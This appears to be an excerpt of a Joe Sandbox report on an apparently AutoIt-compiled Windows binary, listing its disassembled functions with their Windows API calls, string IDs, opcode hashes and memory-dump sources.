    • API ID:
    • String ID:
    • API String ID:
    • Opcode ID: ef714ef140bed3a7edf10e2793114386ccbd89f9bbb0c1f8b0294978b4860602
    • Instruction ID: cceca580a8967cbb15a73722b464b36da95cc13c2e9811def82fd2c153b8e359
    • Opcode Fuzzy Hash: ef714ef140bed3a7edf10e2793114386ccbd89f9bbb0c1f8b0294978b4860602
    • Instruction Fuzzy Hash: 59D15B32901219DBCF20EF66C8819DD77A5FF58348F51112BFC16A7291D738ED868B89
    Function 0044D7D4 Relevance: .1, Instructions: 77COMMON
    Download Yara Rule
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID:
    • String ID:
    • API String ID:
    • Opcode ID: 955673a4e0960d26fe1f61bf3935cae5608d5ce8416ddd6c99d3eadf914ef0d9
    • Instruction ID: 037fad67c0e599306cd01d3065f0ed8850a48917680de54553801d9a836a0176
    • Opcode Fuzzy Hash: 955673a4e0960d26fe1f61bf3935cae5608d5ce8416ddd6c99d3eadf914ef0d9
    • Instruction Fuzzy Hash: 2D21D632900204ABDB14EF69CC858BBBBA5FF44350B0581A9ED559B246E734FA15C7E0
    Function 00438A4D Relevance: 63.5, APIs: 34, Strings: 2, Instructions: 474filepipeprocessCOMMON
    Download Yara Rule
    APIs
    • CreatePipe.KERNEL32(00000004,00000008,?,00000000), ref: 00438AFA
    • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 00438B12
    • GetCurrentProcess.KERNEL32(?,00000000), ref: 00438B1D
    • DuplicateHandle.KERNEL32(00000000), ref: 00438B20
    • CloseHandle.KERNEL32(?), ref: 00438B3A
    • GetStdHandle.KERNEL32(000000F5), ref: 00438B53
    • CreateFileW.KERNEL32(nul,40000000,00000002,?,00000003,00000080,00000000), ref: 00438B78
    • CreatePipe.KERNEL32(?,?,?,00000000), ref: 00438BA8
    • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 00438BC0
    • GetCurrentProcess.KERNEL32(?,00000000), ref: 00438BCB
    • DuplicateHandle.KERNEL32(00000000), ref: 00438BCE
    • CloseHandle.KERNEL32(?), ref: 00438BE8
    • GetStdHandle.KERNEL32(000000F4), ref: 00438C01
    • CreateFileW.KERNEL32(nul,40000000,00000002,?,00000003,00000080,00000000), ref: 00438C26
    • CreatePipe.KERNEL32(?,?,?,00000000), ref: 00438C56
    • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 00438C6E
    • GetCurrentProcess.KERNEL32(?,00000000), ref: 00438C76
    • DuplicateHandle.KERNEL32(00000000), ref: 00438C79
    • CloseHandle.KERNEL32(?), ref: 00438C90
    • GetStdHandle.KERNEL32(000000F6), ref: 00438CA6
    • CreateFileW.KERNEL32(nul,80000000,00000001,?,00000003,00000080,00000000), ref: 00438CCB
    • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00438D4E
    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,00000000,00000000,?,?,?), ref: 00438E7C
    • FreeLibrary.KERNEL32(?,00000087,00000000,000000FF), ref: 00438EAE
    • GetLastError.KERNEL32(00000000,00000000), ref: 00438EC8
    • CloseHandle.KERNEL32(?), ref: 00438EE8
    • CloseHandle.KERNEL32(?), ref: 00438F02
    • CloseHandle.KERNEL32(?), ref: 00438F14
    • CloseHandle.KERNEL32(?), ref: 00438F26
    • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 00438F40
    • GetCurrentProcess.KERNEL32(?,00000000), ref: 00438F46
    • DuplicateHandle.KERNEL32(00000000), ref: 00438F49
    • CloseHandle.KERNEL32(?), ref: 00438FB4
    • FreeLibrary.KERNEL32(?), ref: 00438FC2
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Handle$CurrentProcess$Close$Create$Duplicate$FilePipe$FreeLibrary$DirectoryErrorLast
    • String ID: nul$Wu
    • API String ID: 1052312815-1756961143
    • Opcode ID: 74faca43b3325ccf07435f59371500f109954a2fffff4e36b884906fdbba0335
    • Instruction ID: 5ecac8a2e4d5a8aa278cd81c89cbfdd016e4fece34d719861e58e5eb322c122d
    • Opcode Fuzzy Hash: 74faca43b3325ccf07435f59371500f109954a2fffff4e36b884906fdbba0335
    • Instruction Fuzzy Hash: 8E0289B1500349AFDB10DF64CC85ADABBA8BF08304F08556EF919972A2DB38EC45CB59
    Function 0040D33A Relevance: 54.5, APIs: 29, Strings: 2, Instructions: 294windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,00000136,?,?), ref: 0040D3BF
    • GetSysColorBrush.USER32(00000005), ref: 0040D3D0
    • GetClientRect.USER32(?,?), ref: 0040D3E0
    • SetViewportOrgEx.GDI32(?,00000000,00000000,?), ref: 0040D3F3
    • FillRect.USER32(?,?,?), ref: 0040D3FD
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0040D40B
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: RectViewport$BrushClientColorFillMessageSend
    • String ID: COMBOBOX$EDIT
    • API String ID: 636829656-1358951209
    • Opcode ID: 043c5126e85a944e73dacd84f897b30b06e6abef17b4986d2349f146c263d21c
    • Instruction ID: 7f2e2f383ff841e78ad89e21c1573881fd4c20705d22ada392839be075dbe60e
    • Opcode Fuzzy Hash: 043c5126e85a944e73dacd84f897b30b06e6abef17b4986d2349f146c263d21c
    • Instruction Fuzzy Hash: 1CA16A3190020ABBCF219FE8DC88DAF3BB8EB44341F044536F915B21A1D739DD599B69
    Function 00405B07 Relevance: 51.2, APIs: 34, Instructions: 239COMMON
    Download Yara Rule
    APIs
    • GetSysColor.USER32(0000000E), ref: 00405B4A
    • SetTextColor.GDI32(?,00000000), ref: 00405B52
    • GetSysColorBrush.USER32(0000000F), ref: 00405B85
    • GetSysColor.USER32(0000000F), ref: 00405B90
    • SetBkColor.GDI32(?,?), ref: 00405BA7
    • SelectObject.GDI32(?,?), ref: 00405BB4
    • InflateRect.USER32(?,000000FF,000000FF), ref: 00405BD8
    • GetSysColor.USER32(00000010), ref: 00405BE0
    • CreateSolidBrush.GDI32(00000000), ref: 00405BE7
    • FrameRect.USER32(?,?,00000000), ref: 00405BF5
    • DeleteObject.GDI32(00000000), ref: 00405BFC
    • InflateRect.USER32(?,000000FE,000000FE), ref: 00405C40
    • FillRect.USER32(?,00000000,?), ref: 00405C6C
      • Part of subcall function 0040590B: GetSysColor.USER32(0000000E), ref: 0040592E
      • Part of subcall function 0040590B: SetTextColor.GDI32(?,00000000), ref: 00405936
      • Part of subcall function 0040590B: GetSysColorBrush.USER32(0000000F), ref: 0040596C
      • Part of subcall function 0040590B: GetSysColor.USER32(0000000F), ref: 00405978
      • Part of subcall function 0040590B: GetSysColor.USER32(00000011), ref: 00405999
      • Part of subcall function 0040590B: CreatePen.GDI32(00000000,00000001,00743C00), ref: 004059AB
      • Part of subcall function 0040590B: SelectObject.GDI32(?,00000000), ref: 004059BD
      • Part of subcall function 0040590B: SetBkColor.GDI32(?,?), ref: 004059C5
      • Part of subcall function 0040590B: SelectObject.GDI32(?,?), ref: 004059D4
      • Part of subcall function 0040590B: InflateRect.USER32(?,000000FF,000000FF), ref: 004059F2
      • Part of subcall function 0040590B: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00405A0D
      • Part of subcall function 0040590B: SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00405A3E
      • Part of subcall function 0040590B: GetWindowTextW.USER32(?,00000000,00000001), ref: 00405A59
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Color$Rect$Object$BrushInflateSelectText$Create$DeleteFillFrameMessageRoundSendSolidWindow
    • String ID:
    • API String ID: 2938873313-0
    • Opcode ID: 553456ab4ca1e89e0d819e2f1f6cc92282432695e87ba36e065eda460ae372a5
    • Instruction ID: 244f93e74abd21b7a8fd65ac97d11d8a4850837e3841d29fac0a06d5552eaefe
    • Opcode Fuzzy Hash: 553456ab4ca1e89e0d819e2f1f6cc92282432695e87ba36e065eda460ae372a5
    • Instruction Fuzzy Hash: 44811872804629FFDF019FA0ED48EAE7B79FB05322F104626F922A61E1D7799940CF54
    Function 00407A0B Relevance: 51.2, APIs: 28, Strings: 1, Instructions: 472windowCOMMON
    Download Yara Rule
    APIs
    • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 00407AAF
    • SendMessageW.USER32(?,00001303,00000000,00000000), ref: 00407B01
    • SendMessageW.USER32(?,0000133D,?,?), ref: 00407B37
    • DestroyCursor.USER32(?), ref: 00407B44
    • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 00407BAF
    • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 00407C1F
    • SendMessageW.USER32(?,0000113E,00000000,?), ref: 00407CA1
    • SendMessageW.USER32(?,0000113F,00000000,00000032), ref: 00407CCD
    • GetClientRect.USER32(?,?), ref: 00407CDE
    • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 00407D3D
    • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 00407D56
    • DeleteObject.GDI32(?), ref: 00407D64
    • DestroyCursor.USER32(?), ref: 00407D72
    • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 00407D96
    • SendMessageW.USER32(?,000000F7,00000001,?), ref: 00407DAF
    • DeleteObject.GDI32(?), ref: 00407DBD
    • DestroyCursor.USER32(?), ref: 00407DCB
    • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 00407DF1
    • DestroyCursor.USER32(?), ref: 00407E12
    • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 00407E2E
    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00407E5B
    • SendMessageW.USER32(?,00001053,000000FF,?), ref: 00407E90
    • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 00407EDA
    • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 00407F03
    • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00407F59
    • SendMessageW.USER32(?,00001015,?,?), ref: 00407F6D
    • DestroyCursor.USER32(?), ref: 00407F78
    • DestroyCursor.USER32(?), ref: 00407F7D
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$CursorDestroy$ExtractIcon$DeleteImageLoadObject$ClientRect
    • String ID: 2
    • API String ID: 3206114824-450215437
    • Opcode ID: aff11427822101074db3cf344de3680df07f56a710e8f8337fe37fa57c35fd29
    • Instruction ID: 449b1562671becbc228cbc9511108e771962b84d9fc6a796af91ae0424866a09
    • Opcode Fuzzy Hash: aff11427822101074db3cf344de3680df07f56a710e8f8337fe37fa57c35fd29
    • Instruction Fuzzy Hash: 0C024571A04219AFDB11CFA4CC84BEE7BB8BF08710F00456AFA15B72D1D778A950CB99
    Function 00436C04 Relevance: 44.0, APIs: 5, Strings: 20, Instructions: 265COMMON
    Download Yara Rule
    APIs
    • __time32.LIBCMT ref: 00436C41
      • Part of subcall function 0044B9D2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,00442B13,00000000,00000001,?,?,00000000,?,?,00442BE4,00442E41,00000001,?), ref: 0044B9DB
      • Part of subcall function 0044B9D2: __aulldiv.LIBCMT ref: 0044B9FB
    • CharUpperBuffW.USER32(0043664B,?,00000002,?,00000000), ref: 00436C59
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Time$BuffCharFileSystemUpper__aulldiv__time32
    • String ID: %.2d$%.3d$AppData$Common AppData$Common Desktop$Common Documents$Common Favorites$Common Programs$Common Start Menu$Common Startup$CommonFilesDir$Desktop$Favorites$Personal$ProgramFilesDir$Programs$SOFTWARE\Microsoft\Windows\CurrentVersion$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders$Start Menu$Startup
    • API String ID: 2161657684-3228076346
    • Opcode ID: f7afec519e681cee481e602af3ba30e66b4fa25165008a6563f3cebfe114d443
    • Instruction ID: 94c72ddd4e8f99876f78adca7abbf7ce8ab67422fd5364023a3b36f69be373fd
    • Opcode Fuzzy Hash: f7afec519e681cee481e602af3ba30e66b4fa25165008a6563f3cebfe114d443
    • Instruction Fuzzy Hash: 27913BB1A08208FBDF209A00CC86FEA7634EB04748F659057B546731A1E7BD6E919A5F
    Function 0040590B Relevance: 40.7, APIs: 27, Instructions: 172windowCOMMON
    Download Yara Rule
    APIs
    • GetSysColor.USER32(0000000E), ref: 0040592E
    • SetTextColor.GDI32(?,00000000), ref: 00405936
    • GetSysColor.USER32(00000012), ref: 00405950
    • SetTextColor.GDI32(?,00405B21), ref: 00405958
    • GetSysColorBrush.USER32(0000000F), ref: 0040596C
    • GetSysColor.USER32(0000000F), ref: 00405978
    • CreateSolidBrush.GDI32(?), ref: 00405983
    • GetSysColor.USER32(00000011), ref: 00405999
    • CreatePen.GDI32(00000000,00000001,00743C00), ref: 004059AB
    • SelectObject.GDI32(?,00000000), ref: 004059BD
    • SetBkColor.GDI32(?,?), ref: 004059C5
    • SelectObject.GDI32(?,?), ref: 004059D4
    • InflateRect.USER32(?,000000FF,000000FF), ref: 004059F2
    • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00405A0D
    • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00405A3E
    • GetWindowTextW.USER32(?,00000000,00000001), ref: 00405A59
    • InflateRect.USER32(?,000000FD,000000FD), ref: 00405A7B
    • DrawFocusRect.USER32(?,?), ref: 00405A87
    • GetSysColor.USER32(00000011), ref: 00405A96
    • SetTextColor.GDI32(?,00000000), ref: 00405A9E
    • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00405AB4
    • SelectObject.GDI32(?,?), ref: 00405AC9
    • DeleteObject.GDI32(?), ref: 00405AD5
    • SelectObject.GDI32(?,?), ref: 00405ADC
    • DeleteObject.GDI32(?), ref: 00405AE2
    • SetTextColor.GDI32(?,?), ref: 00405AE9
    • SetBkColor.GDI32(?,?), ref: 00405AF4
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflate$FocusMessageRoundSendSolidWindow
    • String ID:
    • API String ID: 1441705042-0
    • Opcode ID: 885b3a8753f4c661a3ae0567f457580ae1d533f7fd3ee976a901b4b308742a30
    • Instruction ID: 6c58bee66d785cfda33b29ccf49808c69a7ed797e4659f5d7d1f827d9b486f44
    • Opcode Fuzzy Hash: 885b3a8753f4c661a3ae0567f457580ae1d533f7fd3ee976a901b4b308742a30
    • Instruction Fuzzy Hash: B7516E72408705FFD7019F60DC48A5BBBA9FB89322F100929F662921E1D776DD50CF59
    Function 0042C822 Relevance: 40.6, APIs: 19, Strings: 4, Instructions: 300windowCOMMON
    Download Yara Rule
    APIs
    • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0042C94B
    • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 0042C988
    • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000001), ref: 0042C999
    • CreateWindowExW.USER32(00000001,AutoIt v3,00000000,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0042C9E2
    • GetClientRect.USER32(00000000,?), ref: 0042C9EE
    • CreateWindowExW.USER32(00000000,static,00000000,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 0042CA37
    • GetStockObject.GDI32(00000011), ref: 0042CA50
    • SelectObject.GDI32(00000000,00000000), ref: 0042CA58
    • GetTextFaceW.GDI32(00000000,00000040,?), ref: 0042CA68
    • DeleteDC.GDI32(00000000), ref: 0042CA7B
    • CreateFontW.GDI32(00000001,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 0042CAA8
    • SendMessageW.USER32(00000030,00000000,00000001), ref: 0042CABF
    • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 0042CAF2
    • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0042CB05
    • SendMessageW.USER32(00000404,00000001,00000000), ref: 0042CB15
    • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0042CB43
    • GetStockObject.GDI32(00000011), ref: 0042CB4E
    • SendMessageW.USER32(00000030,00000000), ref: 0042CB5D
    • ShowWindow.USER32(00000004), ref: 0042CB67
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustClientDeleteFaceFontInfoParametersSelectShowSystemText
    • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
    • API String ID: 4116885437-517079104
    • Opcode ID: a5587cec23f01dc1b68f985e89440f218b0093f923a48c4f88b892f4fb94e88c
    • Instruction ID: 1615eac8dec7ae41765c77f636881bc5689f084a187106bb6c267292153e9747
    • Opcode Fuzzy Hash: a5587cec23f01dc1b68f985e89440f218b0093f923a48c4f88b892f4fb94e88c
    • Instruction Fuzzy Hash: CFB1AF71A00218FFDB249FA5DC89E9F7BB8EB45B15F04815AF600AA191D778DD40CF68
    Function 0042CC1E Relevance: 36.1, APIs: 24, Instructions: 118threadCOMMON
    Download Yara Rule
    APIs
    • LoadCursorW.USER32(00000000,00007F8A), ref: 0042CC35
    • LoadCursorW.USER32(00000000,00007F00), ref: 0042CC40
    • LoadCursorW.USER32(00000000,00007F03), ref: 0042CC4B
    • LoadCursorW.USER32(00000000,00007F8B), ref: 0042CC56
    • LoadCursorW.USER32(00000000,00007F01), ref: 0042CC61
    • LoadCursorW.USER32(00000000,00007F81), ref: 0042CC6C
    • LoadCursorW.USER32(00000000,00007F88), ref: 0042CC77
    • LoadCursorW.USER32(00000000,00007F80), ref: 0042CC82
    • LoadCursorW.USER32(00000000,00007F86), ref: 0042CC8D
    • LoadCursorW.USER32(00000000,00007F83), ref: 0042CC98
    • LoadCursorW.USER32(00000000,00007F85), ref: 0042CCA3
    • LoadCursorW.USER32(00000000,00007F82), ref: 0042CCAE
    • LoadCursorW.USER32(00000000,00007F84), ref: 0042CCB9
    • LoadCursorW.USER32(00000000,00007F04), ref: 0042CCC4
    • LoadCursorW.USER32(00000000,00007F02), ref: 0042CCCF
    • GetCursorPos.USER32(?), ref: 0042CCD8
    • WindowFromPoint.USER32(?,?), ref: 0042CCE4
    • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0042CCF7
    • GetCurrentThreadId.KERNEL32 ref: 0042CD00
    • AttachThreadInput.USER32(00000000), ref: 0042CD03
    • GetCursor.USER32 ref: 0042CD09
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CD17
    • GetCurrentThreadId.KERNEL32 ref: 0042CD1A
    • AttachThreadInput.USER32(00000000), ref: 0042CD1D
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Cursor$Load$Thread$Window$AttachCurrentInputProcess$FromPoint
    • String ID:
    • API String ID: 25922675-0
    • Opcode ID: b3dee8c5c33cc5a5e27d9d6878bb93dc215f6f67bec1131d5dbaf3b8734b53b9
    • Instruction ID: b9d9b1f01e5e50cc857d8ed62ab4f6a13f19b37c746215968ab34a60c96efe33
    • Opcode Fuzzy Hash: b3dee8c5c33cc5a5e27d9d6878bb93dc215f6f67bec1131d5dbaf3b8734b53b9
    • Instruction Fuzzy Hash: 3831FE71D44319BADF119BB69C89CAFBEBCEF45B50B10042BB108E7191DAB89801CE65
    Function 0040667C Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 279windowtimeCOMMON
    Download Yara Rule
    APIs
    • GetWindowRect.USER32(?,?), ref: 00406756
    • GetClientRect.USER32(?,?), ref: 00406763
    • GetSystemMetrics.USER32(00000007), ref: 0040676B
    • GetSystemMetrics.USER32(00000008), ref: 00406775
    • GetSystemMetrics.USER32(00000004), ref: 0040677C
    • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 004067B7
    • GetSystemMetrics.USER32(00000007), ref: 004067BF
    • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 004067E4
    • GetSystemMetrics.USER32(00000008), ref: 004067EC
    • GetSystemMetrics.USER32(00000004), ref: 0040680B
    • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00406822
    • AdjustWindowRectEx.USER32(000000FF,000000FF,00000000,000000FF), ref: 00406833
    • CreateWindowExW.USER32(000000FF,AutoIt v3 GUI,?,000000FF,000000FF,000000FF,000000FF,000000FF,?,00000000,?,00000000), ref: 00406866
    • GetSysColorBrush.USER32(0000000F), ref: 00406889
